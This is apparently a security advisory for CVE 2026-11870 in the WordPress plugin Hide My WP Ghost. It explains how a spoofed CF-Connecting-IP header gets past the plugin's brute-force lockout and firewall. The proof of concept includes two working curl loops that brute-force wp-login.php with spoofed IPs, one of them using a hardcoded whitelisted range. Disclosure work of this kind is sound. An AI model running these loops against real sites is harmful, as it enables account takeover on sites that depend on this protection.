Hide My WP Ghost < 7.0.05 – IP Address Spoofing via Trusted Proxy Headers Leading to Protection Mechanism Bypass | CVE 2026-11870

Description

The plugin does not verify that client IP information comes from a trusted proxy before trusting attacker-controllable HTTP headers, allowing unauthenticated attackers to spoof their IP address to bypass the plugin's own brute-force protection and to downgrade its firewall by matching a hardcoded whitelisted IP range.

Proof of Concept

Prerequisites: Hide My WP Ghost 7.0.03 active with Brute Force Protection and the Firewall enabled (a standard configuration for this security plugin).

=== Variant 2 (no proxy required, affects all installs): firewall/whitelist downgrade + brute-force exemption ===
Spoof a hardcoded-whitelisted IP range so the plugin treats the request as trusted:

for i in $(seq 1 20); do
  curl -sk -X POST "https://victim.example/wp-login.php" \
    -H "CF-Connecting-IP: 192.0.64.1" \
    -d "log=admin&pwd=guess$i&wp-submit=Log+In&testcookie=1" \
    -b "wordpress_test_cookie=WP+Cookie+check" -o /dev/null
done

192.0.64.1 is inside the plugin's hardcoded Jetpack range 192.0.64.0/18, so isWhitelistedIP() returns true and whitelistLevel() suppresses the firewall, threat detection, URL hiding and pre-auth checks for the request, and the IP is exempt from the brute-force lockout (the 20 failed logins are never blocked).

=== Variant 1 (requires the site behind a reverse proxy / CDN, i.e. a private REMOTE_ADDR): brute-force lockout bypass by rotating the spoofed identity ===

for spoof in 99.99.99.99 88.77.66.55 11.22.33.44; do
  for i in 1 2 3 4 5; do
    curl -sk -X POST "https://victim.example/wp-login.php" \
      -H "CF-Connecting-IP: $spoof" \
      -d "log=admin&pwd=guess$i&wp-submit=Log+In&testcookie=1" \
      -b "wordpress_test_cookie=WP+Cookie+check" -o /dev/null
  done
done

getIp() resolves the spoofed CF-Connecting-IP as the lockout identity (last-wins, ignoring the private REMOTE_ADDR), so each spoofed value gets its own fresh 5-attempt window and the real attacker IP is never throttled.

Validated on Hide My WP Ghost 7.0.03: Variant 2 confirmed with no proxy (firewall filters flipped from active to suppressed; failed logins from the whitelisted IP never blocked); Variant 1 confirmed behind a fronting proxy (spoofed IP recorded as the brute-force key, real REMOTE_ADDR never recorded). Note: where a fronting proxy overwrites X-Real-IP, CF-Connecting-IP is the reliable spoofing header.